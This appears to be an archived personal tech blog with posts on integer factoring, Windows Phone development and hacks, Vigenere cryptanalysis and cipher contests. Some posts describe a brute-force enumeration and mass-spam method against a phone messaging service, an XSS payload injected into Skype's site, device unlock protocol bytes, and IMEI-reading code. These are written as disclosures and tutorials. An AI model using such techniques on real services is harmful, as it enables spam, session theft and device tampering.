Tech

Factoring Integers: Part 1 - Pollard's rho Method

2011-12-21T01:31:00.000+01:00

I'll be developing a program for factoring numbers (especially RSA numbers), the goal is to have a parallel quadratic sieve program running on GPUs (using CUDA or OpenCL) to factorize RSA numbers.

I have just started playing around GMP so I implemented a naive version (in C) of the Pollard's rho factoring method, it uses the optimisation technique proposed by Pollard and Brent, however it doesn't check for cases that may cause the algorithm to fail.

In order to compile this program, you need to have GMP installed.
You can invoke the program with ./pollard-rho NUMBER or ./pollard-rho p q where the number to factorize is p*q.

Compile : gcc pollard-rho.c -o pollard-rho -lgmp -lm

Results:

Rolling Back a Project to Windows Phone OS 7.0 After an Upgrade to 7.1 (Mango)

2011-10-08T14:39:00.003+02:00

If you had a project that was developed before the Mango SDK was available, or a project that was created with the Windows Phone 7.0 as the target platform and wanted to upgrade to 7.1, then there is no way to roll back to 7.0 again, which means that your app will be available only for those who have Mango updated devices.

On creating a new Windows Phone project with the Mango 7.1 SDK tools installed, Visual Studio prompts you for the target platform:

If for any reason, you want to upgrade the app to take advantage of the 7.1 SDK (use background agents, live tiles' animations etc..), you go to Project -> Project properties and set the target to OS7.1:

Once the Windows Phone OS7.1 version is selected, Visual Studio shows the following warning stating that once upgraded, the application cannot roll back to Windows Phone OS 7.0 anymore :

Because the referenced projects are not upgraded with the app, there is actually a way to roll back anyways, even if Visual Studio warns it is not possible.

First in the WPAppManifest.xml you need to change the AppPlatformVersion back to "7.0". Then unload the project from Visual Studio and open your *.csproj with a text editor. Locate <TargetFrameworkProfile>WindowsPhone71</TargetFrameworkProfile> and change it to <TargetFrameworkProfile>WindowsPhone</TargetFrameworkProfile>.

Reload the project in Visual Studio, and voila, it's back to version 7.0.

Hope this helps.

Bloginto 2.1 Now Available

2011-09-23T22:53:00.001+02:00

Bloginto 2.1 is available for download from the Google Chrome Web Store, the 2.1 version is a patch to the 2.0 version after the (abrupt) changes of Bloginy Algeria.

Bloginto is a Chrome extension that brings Bloginy Algeria and Morocco feeds to the browser. With Bloginto you can:

Read the live feeds of Bloginy Algeria and Morocco
Keep track of the new feeds and get notified whenever newer news are available
Keep track of the read and unread feed entries
Vote for the feed entries directly from the browser with 1 mouse click
Tweet directly through the extension

Bloginto is an open source extension, you can grab the source code from here https://github.com/martani/BlogInto-Chrome, you can suggest amelioration and patches too.

Mass Spamming WP7 Users by Taking Advantage of the Chrome to WP7 App

2011-09-21T04:00:00.001+02:00

Send to WP7 (previously Chrome to WP7) is an app on Windows Phone 7 that allows users to send text, web links, images etc. to their WP7 handsets directly from the browser. It resembles in it's purpose Google's Chrome to Phone utility, however, its security model is way poorer, and even insecure by default.

While Google Chrome to Phone uses OAuth to authenticate users along with their Google accounts, Send to WP7 generates a 6 chars hex number which is calculated from a random GUID generated when the app is started for the first time. This code is then used by the extension to send data back to daveamenta.com server, waiting to be served when the WP7 client fetches the updates.

Since there is absolutely no validation process on the server and the design of the app that makes it impossible to verify who is sending to who depending only on the randomly generated code, abusing this app is just like taking a walk on the shore.

Sending data to a WP7 device is done by a POST request to http://www.daveamenta.com/wp7api/com.davux.ChromeToWindowsPhone/ with the random code of the user as the only piece identifying him.

Request URL: http://www.daveamenta.com/wp7api/com.davux.ChromeToWindowsPhone/
Request Method: POST
Query String Parameters
title: some title
url: http://martani.net
  sel:
  type: page
  passcode: ABCDEF

The server then returns "Client Not Found. Check Pair Code." if the code used is not associated to any device, or "OK - No notification" upon success. Using these information, we can run a large scale "empty message" spamming to retrieve the valid codes associated to actual devices, or send a wave of spams directly without having to check for validity.

Theoretically, there are over 16777216 different available codes for a 6 char hex number, a naive method would be to iterate through all these and fetch the correct ones:

This above program would do -a very lengthy- sequential probing to check for all the codes that return "OK" in the response and list them on the console.

As you can see, you can send any message and even links to your apps on the WP7 Marketplace (which once clicked would open the Marketplace directly) to all the users of "Send to WP7", and of course retain their codes for future spamming eventually.

On the other hand, it is not clear how the data users exchange with their devices is handled. Does it get archived in the server forever? Does a deletion from the WP7 client entail a deletion from the server etc. I believe users of this app should get answers of all these questions and of course must expect a minimum of security where only them could eventually send data to their phones.

//I cannot be held responsible for any abusive use of information I present here, this post is merely a showcase of bad security design.

Skype XSS Made Easy

2011-08-03T15:59:00.004+02:00

I was so deprived of caffeine today so I couldn't do any work except erring in the dark sides of the internet till I got to the skype home page. Once there, the first thing I tried was of course some XSS injection, that's just a 'weby' thing, I can't help it.

I was amused to see that after 3 characters, the skype home page started to show beatiful html code where it should not, a very good sign for an XSS injection.

Here you go, on the home page, locate the "See how little it costs to call phones and mobiles with Skype" search box and type -"> , you should get something like this :

Now type in your favorite XSS verse, I use < script > alert(document.cookie) < /script >, Voilà! the result:

nanosleep(), usleep() and sleep() Precision Tests

2011-07-26T20:08:00.003+02:00

Working on some Amazon EC2 benchmarks I run through few problems of having my processes to run with a high time precision where a more than 1ms shift between operations is not acceptable.

My program accumulates work time and sleep time, ideally, it would work for time t, sleeps for T - t microseconds and loop again. The problem is that in the sleep routine, a shift of few microseconds can be accumulated to become a shift of milliseconds after few loops.

After investigating the problem a little, I did some tests on how precise are the sleep functions in C, here is the code I used to test nanosleep(), usleep() and sleep().

Running these tests on my machine with Fedora 15 gives me these results :

As you can see, there is always an overhead of 100µs to 180µs, a call to printf inside the function will take about 70 µs more to execute. The call to the function itself (the nsleep function) takes at worst 1µs. With this accumulation of microseconds, a program would get to a state where it is late by some milliseconds after a dozen of iterations and calls to these sleep functions.

On the other side gettimeofday() behaves pretty well considering precision, the benchmark below (found here) gives the following results:

$ ./gettimeofday_benchmark

50000000 cycles in 2315879542 ns = 46.317591 ns/cycle

Which is satisfying for its precision.

A solution (that is not applicable in all cases) is to have a global program independent clock regarding to which the sleep period is adapted. For example instead of waiting T - t microseconds, one will use every second tick on the system as a landmark, and thus any microseconds lost in the last loop iteration are discarded in the next one since the wait time is not dependent on the time the loop has started.

"How To Win A Nobel Prize In 2 Easy Steps"

2011-07-25T23:29:00.002+02:00

"3 types of social media douchebaggery strategies to become the next Zuckerberg", "5 best cats videos EVAR", "how to win a Nobel prize in 2 easy steps", "3 things that shift you from a panhandler to the next most famous billionaire (hint: retweet this post.)" and so on...

The internet has been suffering from this type of article-bullying with the wake of social media evangelist-community-manager-douchebags and such, the title incites you to read the content-empty article because it makes you feel that you can acquire information more quickly.

Short story, everything in the form:

[Number][Adjective][Noun] [Verb] [Noun..]

[Number] [Easy | Awesome | Quick | Short] steps to [Verb] [Noun..]

needs to be flagged as spammy fake ads for gaining easy visits.

NYTimes Newsreader and LeParisien Journal for #WP7

2011-06-27T11:42:00.001+02:00

I've developped lately two new Windows Phone apps which are newsreaders based on RSS for the New York Times newspaper and LeParisien.fr Journal.

The two apps come in two versions,a free version which is ad-powered and a paid version which is ad-free. Following is a brief description and download links for the two apps.

NY Times Newsreader :

Read the NY Times newspaper directly on your Windows Phone device.

The NYTimes Newsreader gives you access to all the major sections of the NY Times newspaper organized in categories for easy and fast navigation with full articles view using the NYTimes' RSS feature.

Features:
- Browse news by categories (7 categories and more than 40 sections)
- Front page news
- Articles thumbnails
- Share articles by email and SMS
- Favorite your articles to read them later
- Read full articles directly from NYTimes Newsreader

Categories:
- World
- Op-Extra (Opinion, Columnists, Editorials, Magazine ...)
- Technology
- Science
- Sports
- Arts
- Business

Download (FREE version)

LeParisien :
Suivez toute l'actualité française et internationale avec LeParisien.fr Journal sur votre Windows Phone

Accédez à l’intégralité des articles de leParisien.fr classés par rubrique (5 rubriques et plus de 30 catégories)

> Sauvegardez vos articles favoris pour une consultation ultérieure
> Partagez l’information avec vos amis via Email ou SMS

Accédez en un clic aux dernières news :
- L'info du Parisien
* Politique
* International
* Faits divers
* Economie
* Société
* Loisirs et spectacles
* Médias et people
* Automobile

Download (FREE version)

Beta SMS 2.0 Now Available On Windows Phone 7

2011-05-08T14:38:00.001+02:00

Beta SMS 2.0 is now available on the Windows Phone 7 Market place with a lot of enhancements and new features.

Beta SMS lets you send very cheap and even free^ short text messages internationally by using your favorite web SMS or VoIP provider. It offers a very intuitive way to send SMS directly from your Windows Phone, without having to log into your provider's website each time you want to send an SMS.

Features

- SMS History
- Contacts support
- Balance check on all the supported services
- Managing and sending SMS from multiple providers at the same time
- Switch between multiple account in one tap
- A beautiful user interface that looks and feels like the native WP7 SMS app.

Supported services

In order to user Beta SMS, you need an account with one of the following providers:

- SMS Global
- Cherry-SMS
- Sloono
- 12voip.com
- Actionvoip.com
- Calleasy.com
- Cheapvoip.com
- Dialnow.com
- Freecall.com
- Internetcalls.com
- Intervoip.com
- Justvoip.com
- Lowratevoip.com
- Netappel.fr
- Nonoh.net
- Poivy.com
- Powervoip.com
- Rynga.com
- Sipdiscount.com
- Smartvoip.com
- Smsdiscount.com
- Smslisto.com
- Sparvoip.de
- Voipbuster.com
- Voipbusterpro.com
- Voipcheap.co.uk
- Voipcheap.com
- Voipdiscount.com
- Voipgain.com
- Voipraider.com
- Voipstunt.com
- Voipwise.com
- Voipzoom.com
- Webcalldirect.com

If your favorite service is not supported yet by Beta SMS, please request it here.

You can download Beta SMS from here :

More info on WP7applist.com.

Win a Free Domain Name (Registered For 3 Years), 3rd & Last Message

2011-05-03T22:11:00.001+02:00

This is the 3rd and last message of the series to win a domain name registered for 3 years.

Once decoded, send the clear message and your email from the “contact me” page, remember, first to decipher the 3 messages wins.

Message:

ADACACACBDXCCAAABCABBACAXCCCAABCCDC
BXAACACBCCXBXDXDAAADACBABDACABXXAAB
AXCAXAABCDAACAACBDACADBACDXBXXCACCC
CAACCAABCCBDXAADBDBX

Instructions :

YJAV CWQ : LMJAFY, LJSFKHGKALAGF CWQ : CAFVA.

You need to decipher the first (fairly easy) two messages (the second is easier than the first). Message 1 here, message 2 here.

(competition ~~always open~~ closed)

Winner : Mohieddine Abd-kader, http://mitgux.com/

Cracking The Vigenere Cipher

2011-04-27T18:08:00.010+02:00

I wanted to use Vigenere as the cipher system for the 3rd message on the competition to win a domain name, but changed my mind due to the number of online tools that might help decode the message easily even if you know nothing about how Vigenere works.

Before you start reading about how deciphering Veginere works, I invite you to take a look how Vigenere is used to cipher messages from the Wikipedia article here, in fact Vigenere was called “le chiffre indéchiffrable” or the undecipherable cipher, because any means of cryptanalysis invented before it was defeated, till Charles Babbage found a clever, very clever, way to crack it.

After finishing reading the Code Book the last week, I started decoding the different enigmas proposed at the end of the book, and yesterday I started deciphering the 4th enigma which is a Vigenere cipher (that I finished yesterday too), and I find it pretty amazing for starters to try. I must notify you that this short article will contain the solution to the enigma.

I chose to go old way while deciphering this, finding the key by hand, then decoding the message step by step.

0. The message to decode :

K Q O W E F V J P U J U U N U K G L M E K J I
N M W U X F Q M K J B G W R L F N F G H U D W
U U M B S V L P S N C M U E K Q C T E S W R E
E K O Y S S I W C T U A X Y O T A P X P L W P
...
The complete message can be found here.

1. Finding the length of the key :

Babbage’s method for finding the key length was that the repeated text in the ciphered message is probably produced from the same repeated letters from the clear message that are ciphered with the same part of the key. Hence finding an estimate between the repeated series of letters in the ciphered message would give us a good hint about the length of the key

Clear : T H I S I S A C L E A R T E X T T H I S C A N B E E A S L Y D E C
Key : C O D E C O D E C O D E C O D E C O D E C O D E C O D E C O D E C
Crypt : V V L W K G D G N S D V V S A X V V L W E O Q F G S D W N M G I E

As you can see the series of latters T,H,I is ciphered to the same series V,V,L, because it was situated at the same relative position according the key, also E,A is ciphered to the same S,D.

The key length is at worst the spacing between these repetitions in the ciphered text, and usually it is the greatest common divisor of the spacing of (most) the repetitions (why? give it a second thought.).

This is the table of the distances from the Vigenere message (done by hand)

Anchor	Repetition	Distances	Divisors
WXIZAYG	2	190	1 \| 2 \| 5 \| 10 \| 19 \| 38 \| 95 \| 190
EFVJ	2	220	1 \| 2 \| 4 \| 5 \| 10 \| 11 \| 20 \| 22 …
WUU	3	95	1 \| 5 \| 19 \| 95
EEK	3	200	1 \| 2 \| 4 \| 5 \| 8 \| 10 \| 20 \| 25 …
UUN	2	130	1 \| 2 \| 5 \| 10 \| 13 \| 26 \| 65 \| 130
MEK	2	135	..
EKJ	2	515	..
UXF	2	135	..
JBJ	2	60	..
GFB	2	30	1 \| 2 \| 3 \| 5 \| 6 \| 10 \| 15 \| 30
PNT	2	35	5 \| 7

As you can see, all the repetitions have 5 as a common divisor, so we will suppose that the key length is 5.

2. Breaking the text into (key-length) sets:

Now that we know the key length, we will make sets from the coded text, so that we group every letter codes with the first letter of the key together, the second group will be the one coded with the second letter of the key etc…

C O D E
T H I S I S A C L E A R T E X T T H I S C A N B E E A S L Y D E C	Each group is ciphered with one letter of the key, and better yet, the resulting group is ciphered with a simple Caesar cipher. (notice that we group the ciphered text, not the clear one –do we have the clear one anyway?-)

Here is a sample code that takes a ciphered text and a key length and returns a list of simple Ceasar ciphers from the Vigenere cipher (C# code):

3. Deciphering the Ceasar groups:

Now that we have the groups from the Vigenere cipher, it’s very easy to decipher each one apart (each one has a 26 possibility, so a key length of 5 gives us a 26^5 case to try).

But we can do better with frequency analysis, we need only to locate the Caesar key for each group, so if the text if for example in French or English, we can locate the letter “e” (most frequent one) and deduce the key from this letter.

If for example in the first group, the letter “s” is the most repeated one, we know that “e” is replaced by “s” and hence the key is “s” – “e” = “m”.

The following piece of code, analyses the frequencies and tries to find the key (supposing that the text is long enough and that the letters are distributed uniformly)

4. Cracking Vigenere :

The key, is the concatenation of all the Caesar keys we found in each group from the above step. Now that we have the key, reversing Vigenere is a game, here is a sample code that does this:

You can of course try different key lengths with this program and see if the text has any meaning without going through stage one to find the key length. (or you can calculate it directly using Friedman test)

5. Source Code :

https://gist.github.com/944422

I really wanted the last message of the Win a free domain name competition to be a Vigenere cipher since it is so much fun, but unfortunately, it won’t be. Have fun ;)

Win a Free Domain Name (Registered For 3 Years), 2nd Message

2011-04-19T23:51:00.001+02:00

By decrypting the message and following the rules you reveal, or just have fun!

After decrypting the first one, you won’t find any difficulty decrypting this one.

Hint: Phonemic, Linear, starting from the end is a good idea sometimes.

Hint 2 : This was a widely used code (language) in the past.

(if you decode the message, don’t forget to send your answer from the “contact me” page along with your email).

Decoded by : @oh_la_love, @27_hope, @mowahed23 , Mohieddine Abd-kader, @zirconias (competition ~~always open~~ closed).

Winner : Mohieddine Abd-kader, http://mitgux.com/

TEDxAlger, Reflections

2011-04-10T13:26:00.001+02:00

“Offline”, was the only message shown on the supposed-to-be the live streaming page of the TEDx event that was held yesterday in Algiers. An event that has its prestige around the globe, and which was announced to be a success even before it started [refer to twitter for evidence!].

The excuse of the organizers was that there was no internet connection and that it was the CERIST’s fault, not theirs. The most prestigious institute of informatics had no internet connection! and worst, no internet connection during a TEDx event! That same institute that is ranked 7842 among the world’s universities.

Internet is not a luxury anymore, but yet, we still see that Algeria cannot provide a reliable internet connection during a supposed-to-be global event like TED. While the organizers deserve a big part of the reproach, the only thing to be said is Shame on you Algeria, it is 2011 in case you didn’t notice yet!

Identity is a crucial part of such global events, and language is the main player in this; A quick look at the TEDxCarthage or TEDxCairo shows pretty much how the speakers are using their native language mostly, but unfortunately TEDxAlger was a pure French spectacle.

Some are arguing that as far as we can understand what the speakers say, language is just an illusionary abstract layer, which is of course scandalously fallacious when it comes to an official statement from a government member (yeah, remember the Algerian ministers and such?), or when a global event is concerned where the city (or the country in Algeria’s case) is to be represented. (We could change the name of the event to TEDxMarseille and no one will notice, trust me)

There was a competition where people can vote for the best video and article written about TEDxAlger, and it is not strange at all to know that the video that was ranked 1st is a stolen video.. from YouTube (seriously)

Some have been discussing the fact that more than a half of the speakers are living abroad (~~France~~) and the moral impact of this on the event after all. As someone said, “what I can understand from this, is that, the only way to be successful is to leave Algeria [Redacted]”.

Once again, that might be a wrong move of the organizers to invite only Francophone speakers (thought I’m sure ALL of them know at least some Algerian Darja), or it was a smart one, who knows.

Win a Free Domain Name (Registered For 3 Years)

2011-04-05T00:10:00.001+02:00

By decrypting the message and following the rules you reveal, or just have fun!

Hint : People used to love playing Angry Birds in ancient Rome.

Decoded by : @oh_la_love, @27_hope, @mowahed23, Mohieddine Abd-kader, @zirconias (competition ~~always open~~ closed).

Winner : Mohieddine Abd-kader, http://mitgux.com/

WP7 Samsung Devices Unlocked Forever?

2011-04-01T00:51:00.005+02:00

Update :

No they are not ;), You can use Heathcliff74's tool from XDA here to gain root access to the Registry and change whatever you want

Most of the WP7 users who unlocked their devices using the ChevronWP7 tool have applied a registry hack to prevent their devices from relocking again, something that I applied myself, but had never thought it would unlock the device forever (till now at least).

For HTC users, they can use provxml to do this, and the Samsung users have the ability to do the same with a little app that can be found here.

The hack is pretty simple actually, it just clears the URLs the phone uses to ring back Microsoft and asks if it should be unlocked or not, there URLs can be found in the Registry at this location :

   1: [HKEY_LOCAL_MACHINE\Software\Microsoft\DeviceReg]   2: "PortalUrlProd"="https://developerservices.windowsphone.com/Services/WindowsPhoneRegistration.svc/01/2010"   3:     4: PortalUrlInt"="https://developerservices.windowsphone-int.com/Services/WindowsPhoneRegistration.svc/01/2010"

By setting these two values to null (a void string), the phone will never be able to synchronize with Microsoft servers and hence won’t relock again.

Now if you want to relock your phone again for whatever reason, with HTC device it is just applying a provxml that will revert the process and insert the URLs back, but on Samsung devices it is not that easy.

Writing on Samsung registry (take a look at my previous post about this) is done using the CHybridClass_FCRProxy class that comes with the native Samsung DLL FCRouterProxy.dll (this DLL has access to some privileged Registry keys).

To write a value on the registry, you basically call something like this :

   1: Samsung.RegistryWrite(Samsung.RegistryKey.LocalMachine, @"Software\Microsoft\DeviceReg", "PortalUrlProd", "VALUE HERE");

Strangely, the native Samsung methods don’t allow writing values that are more than 30 characters length, which makes it impossible to write back the original URLs that point to Microsoft servers.

So if a Samsung user locks its phone after this, he will never be able to unlock it again even with a valid developer account (just happened to me).

Heathcliff74 over XDA forums has promised me that his future Registry utility for Samsung devices will have root access, so let’s hope it will come soon. Another solution would be putting a less than 30 chars url that redirects to 127.0.0.1 or https://developerservices.windowsphone.com something I didn’t try (won’t risk yet) and that would require more work (domain certificates?…)

Beta SMS for Windows Phone 7 is here

2011-03-12T16:14:00.003+01:00

I’ve developed Beta SMS for Windows Phone 7 back in January, but due to delays and problems with the GeoTrust registration process to publish apps on the Marketplace, the app has been published only yesterday on the WP7 Marketplace, available for $1.29.

Beta SMS allows you to send cheap or free SMS from your favorite BetaMax and VoIP provider directly from your windows Phone 7 device. It supports more than a dozen of SMS services like 'WebCallDirect' and 'Voip Discount' and still counting.

In order to use Beta SMS, you need to have an account in one of these services:

SUPPORTED SERVICES:
- webcalldirect.com
- voipdiscount.com
- poivy.com
- voipstunt.com
- voipwise.com
- voipcheap.com
- internetcalls.com
- smslisto.com
- justvoip.com
- voipbuster.com
- freecall.com
- intervoip.com
- smsdiscount.com
- dialnow.com
- telbo.com

In case your favorite provider is not listed here, please contact me (the contact information are available on the Marketplace with the app description) and I’ll make sure to include them in the coming updates.

You can download Beta SMS from here :

More info on WP7applist.com.

ChevronWP7 internals, Microsoft advertisement?

2011-01-16T14:27:00.001+01:00

ChevronWP7 is an application that gives the ability for anyone to unlock a WP7 device without a Marketplace developer account.

There have been a lot of fuss about the tool, with Microsoft taking serious moves against the developers of the tool till they took it down (available on xda though).

About a week ago we started a thread on xda forums in order to try to disassemble the code of the ChevronWP7 and try to understand how it works, personally I was totally impressed how they are doing the communication with the phone, and especially how did they discover the series of bytes to send to the device that translates into commands etc.., it was unlikely to be discovered just out of the blue, and with further digging in the obfuscated code, I started to be skeptical about it and the fact that Microsoft could have a hand in this in order to advertise for its brand new phone OS.

But 2 days ago, I discovered that within the WP7 SDK, there is program called Windows Phone Developer Registration, I opened it with reflector, and there was the code as if it is the original source code.

The thing is that the similarities with the (weakly) obfuscated ChevronWP7 and the original MS tool are too evident, the same absolute structure of code, and it turns out that the chevronWP7 tool is just that Windows Phone Developer Registration without the authentication to live services!

What the ChevronWP7 guys did, was redirect requests to developerservices.windowsphone.com to the a local address of the computer and start a http service to send a faked response to the phone when it makes the request to check if it should be unlocked!

Basically the application works as following :

It uses a TcpClient to communicate with the phone over port 27077

   1: this.client = new TcpClient();    2: this.client.SendTimeout = 2000;    3: this.client.ReceiveTimeout = 2000;    4: this.client.LingerState.Enabled = true;    5: this.client.LingerState.LingerTime = 0;    6: this.client.NoDelay = true;    7: this.client.Connect("127.0.0.1", 27077);  

To check the status of the phone:

it sends this byte array

   1: byte[] buffer = new byte[4];    2: buffer[0] = 16;    3: buffer[1] = 1;    4: this.commandData = buffer;  

To Unlock the phone :

it sends this byte array

   1: List<byte> list = new List<byte>();    2: ASCIIEncoding encoding = new ASCIIEncoding();    3: ushort num = (ushort)(((authToken.Length + 3) + 2) + 3);    4: list.AddRange(new byte[] { 16, 3 });    5: list.AddRange(BitConverter.GetBytes(num));    6: list.Add(1);    7: list.AddRange(BitConverter.GetBytes((ushort)authToken.Length));    8: list.AddRange(encoding.GetBytes(authToken));    9: list.Add(2);   10: list.AddRange(BitConverter.GetBytes((ushort)2));   11: ushort num2 = isInt ? ((ushort)0) : ((ushort)1);   12: list.AddRange(BitConverter.GetBytes(num2));   13: this.commandData = list.ToArray();  

An http server is made to listen for any requests that come from the phone (which were redirected in the system\hosts file to 127.0.0.1) and returns as a response :

   1: <ResponseOfRegisteredDeviceStatus xmlns="Microsoft.WindowsMobile.Service.Marketplace" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ResponseCode>0x00000000</ResponseCode>    2: <ResponseMessage i:nil="true"/>    3: <Entity xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.WindowsMobile.Service.Marketplace.BLLDevPortal.Entities">    4: <a:DaysLeft>365</a:DaysLeft>    5: <a:AppsAllowed>10</a:AppsAllowed>    6: </Entity> 

The number <a:AppsAllowed> is the number of allowed apps, discussed here in the changed version without the side limit.

To lock the phone :

   1: internal LockCommand(string authToken)    2: {    3:     List<byte> list = new List<byte>();    4:     ASCIIEncoding encoding = new ASCIIEncoding();    5:     ushort num = (ushort) (authToken.Length + 3);    6:     list.AddRange(new byte[] { 16, 2 });    7:     list.AddRange(BitConverter.GetBytes(num));    8:     list.Add(1);    9:     list.AddRange(BitConverter.GetBytes((ushort) authToken.Length));   10:     list.AddRange(encoding.GetBytes(authToken));   11:     this.commandData = list.ToArray();   12: }  

Although the guys over ChevronWP7 have done an amazing job with this tool, it sounds a little weird that Microsoft have done a lot of fuss around it when they leave their original “unlocker” in the wild for anyone to check out, also, Chevron guys should have been a little honest about how they took all the internal code of communication with the phone from the original register program.

#WP7 Hacks, Reading / Writing the registry on Samsung Devices

2011-01-13T14:01:00.001+01:00

The folks over xda are doing a great job with all the new Windows Phone 7 hacks, but it seems that the HTC devices are the ones getting all the fun there.

For instance, the member xboxmod have found a way to install provxml on WP7, and hence total access to the registry, which allowed them to change the WP7 themes with custom colors, disable relocking the phone once unlocked with ChevronWP7 and a lot of other stuff.

On the other hand, a lot of the member have been asking if there is a way to do so on Samsung devices (Omnia 7 and the Focus). While we have access for read/write on the registry for Samsung devices, it is so limited compares to the provxml method on HTC devices.

I developed a simple app showing how to write the registry using the Samsung native DLLs, so hopefully some guys will pick this up till we come up with a full functioning method to manage the registry on Samsung Devices.

This is the link to the application (the XAP file with the source code), you find in the same thread a homebrew registry viewer too which allows the traversal of registry keys.

Happy hacking!

Huffman Compression / Decompression in OCaml

2011-01-11T01:31:00.001+01:00

I worked lately on a simple application in OCaml that compresses files using the Huffman compression algorithms. The application is a showcase of how to use the Huffman’s Static compression, decompression algorithms compared to the dynamic (adaptive) algorithms (Vitter algorithm is used in the application).

The source code is available on github here https://github.com/martani/Huffman-compression--OCaml-. Although the code is not as elegant as it should be, we have used excessively the imperative features of OCaml for optimization reasons, especially for the adaptive algorithm where the tree changes with every introduction of a new symbol to code. So it is not really the best place for OCaml beginners who should be baptized with the functional beauty of the language before they see its evil imperative side :).

Although, It might be a great place too to see how the imperative and functional programming could be done on the same land, I don’t promise anything though, since we did the project in the hurry with just few days in our hands to prepare for exams and … you know the rest of the story.

So the project uses only the primitive OCaml modules, there is no libraries to install or anything, there is also an associated Makefile to compile and test the executable.

The Makefile has a make test directive to test the executable on a file named ”input” in the working directory (that you should include yourself obviously), basically it stars a static compression followed by a decompression then compares the original and the decompressed files to ensure the program works correctly. It does the same with the dynamic method too.

On a side note, we were surprised that while compiling the code with ocamlopt, we get sometimes programs that run 15x times faster than the same program compiled with ocamlc.

For a file about 5.8 MB we got some executing time around

   1: ***@****-Studio-1558:~/workspace/huffman$ make test   2:     3: Testing... static huffman   4: Compress:   5: 1.18 user    6: 0.00 system   7: 0:01.19 elapsed    8: 99% CPU (0avgtext+0avgdata 5504maxresident)   9:    10: Uncompress  11: 2.26 user   12: 0.00 system   13: 0:02.27 elapsed   14: 99% CPU   15: <<<<<<<<<<<<<<<<Compressed = Uncompress ??>>>>>>>>>>>>>>>>  16:    17: Testing... dynamic huffman  18: Compress  19: 8.11 user   20: 0.01 system   21: 0:08.13 elapsed   22: 99%CPU   23:    24: Uncompress  25: 4.04 user   26: 0.00 system   27: 0:04.05 elapsed   28: 99%CPU   29: <<<<<<<<<<<<<<<Compressed = Uncompress ??>>>>>>>>>>>>>>>>>

As you can notice, the static version of the program is faster than the dynamic one, this is due to the fact that we optimized the the static version to use actual bits on compression / decompression, but we used lists to represent the bits (0’s and 1’s as actual 32 bit integers!!), so that was expected.

Link for the source code : https://github.com/martani/Huffman-compression--OCaml-

Reading IMEI on Windows Phone 7 Devices (Samsung Only)

2010-12-31T00:14:00.001+01:00

This is a short post showing how to read IMEI (and other stuff if you want to walk alone over the code) on Samsung devices running Windows Phone 7.

This simple code uses the Samsung native DLLs for Windows Phone 7, so they (surely?) won’t work on LG or HTC devices.

Requirements:

If you are new to WP7 hacking, you may need some research on how to get started executing native code calls on Windows Phone 7, here are the requirements in a quick recap:

a <Capability Name="ID_CAP_INTEROPSERVICES" /> inside the <Capabilities> tag in the WMAppManifest.xml file.

a WPInteropManifest.xml file in the root of your solution containing:

   1: <?xml version="1.0" encoding="UTF-8"?>   2: <Interop>   3: </Interop>

The Samsung native DLLs, a hint for where to find them? Hack the Marketplace, or just download them from here :D
A reference to Microsoft.Phone.InteropServices.dll, you can grab it from here and then add it to the Windows Phone 7 SDK.
In case you forgot to strong name the DLL above, here’s the last step you need (the Visual Studio command prompt must be started with admin rights)
```
   1: SN -Vr "PATH-TO-DLL\Microsoft.Phone.InteropServices.dll"
```

Code :

After setting up everything, you can read the IMEI as following:

   1: public partial class MainPage : PhoneApplicationPage   2: {   3:     // Constructor   4:     public MainPage()   5:     {   6:         InitializeComponent();   7:         this.Loaded += new RoutedEventHandler(MainPage_Loaded);   8:     }   9:    10:     void MainPage_Loaded(object sender, RoutedEventArgs e)  11:     {  12:           13:         ComBridge.RegisterComDll("COMRilClient.dll", new Guid("A18F6B1A-924E-4787-AA82-19F98B49CF5D"));  14:         COSecRilControl cls = new COSecRilControl();  15:         ISecRilControl intrfc = (ISecRilControl)cls;  16:    17:    18:         //READING THE IMEI  19:         string imei;  20:         intrfc.GetIMEI(out imei);  21:     }  22: }  23:    24: [ComImport, Guid("A18F6B1A-924E-4787-AA82-19F98B49CF5D"), ClassInterface(ClassInterfaceType.None)]  25: public class COSecRilControl  26: {  27: }  28:    29: [ComImport, InterfaceType(ComInterfaceType.InterfaceIsIUnknown), Guid("A5857C17-04C2-49c5-A460-05A21660588F")]  30: public interface ISecRilControl  31: {  32:     void Init();  33:     void Deinit();  34:     void Run(int mode);  35:     void End();  36:     void SetInput(int type);  37:     void Back();  38:     void GetDispInfo(out uint svcMode, [MarshalAs(UnmanagedType.SafeArray)] out byte[] info);  39:     void GetEvent(int type, out int pEvent);  40:     void SetEventCOM(string name);  41:     void LaunchExe(string exe, string arg);  42:     void DoHiddenKey(int hashcode);  43:     void GetLockingStatus(out uint m_dwLockFacility, [MarshalAs(UnmanagedType.SafeArray)] out byte[] pPasswd);  44:     void SetLockingStatus(out uint m_dwLockFacility, string data, out uint m_dwStatus, [MarshalAs(UnmanagedType.SafeArray)] out byte[] result);  45:     void GetIMSI(out string IMSI);  46:     void GetIMEI(out string IMEI);  47:     void DoHiddenKeyWithResult(int hashcode, out string jobName);  48:     void WaitNamedEvent(int timeout, string name);  49:     void RegSetDWORD(uint HKEY, string pwszPath, string valueName, uint value);  50:     void RegGetDWORD(uint HKEY, string pwszPath, string valueName, out uint value);  51:     void RegSetString(uint HKEY, string pwszPath, string valueName, string value);  52:     void RegGetString(uint HKEY, string pwszPath, string valueName, out string value);  53:     void ReadTextFile(string path, out string result);  54: }

This is a great read about Windows Phone 7 hacking [link].

Windows Phone 7 hacks, all the diagnosis codes you need, Part 2

2010-12-26T21:54:00.002+01:00

As promised in part 1, here is the rest of the Samsung diagnosis codes for Windows Phone 7. If you don’t know how to use them, refer to part 1 for more information.

*#05#	Main tests : Camera, sensors, proximity, battery, acceleration, light …
*#9908#	GPRS manager/Gumi test Bed/ Suwon2G / Suwon3G
*#9909#	-
*#9911#	Debug mode for chg/bat
*#9920#	-
*#32489#	Ciphering control
*#32589#	Camera FW update
*#94765#	Disable AutoSim settings
*#99732#	The (Java) Build script
*#99785#	PVK Key
*#232331#	Bluetooth RF Test Mode
*#232332#	Bluetooth Audio
*#232333#	Bluetooth Search Test
*#232337#	Bluetooth Mac
*#232338#	WLAN Mac
*#232339#	WLAN Test – Change channel – Datarange etc..
*#737425#	-
*#914789#	Apps launcher / List of EXE files
*#997856#	PVK File name
*#1472365#	Black Swan GPS location services
*#4238378#	GCF / GSM
*#7465625#	Lock status/ network lock / Subset, SP lock/ CPLOCK
20652609	Disable Bluetooth log
20652619	Enable Bluetooth log (you can copy the file ftslog.cfa use wpget.exe)
20652629	SSP debug on
20652639	SSP debug off
*#22558463#	Call time logs
35190718	Erasing IMEI (seriously?)
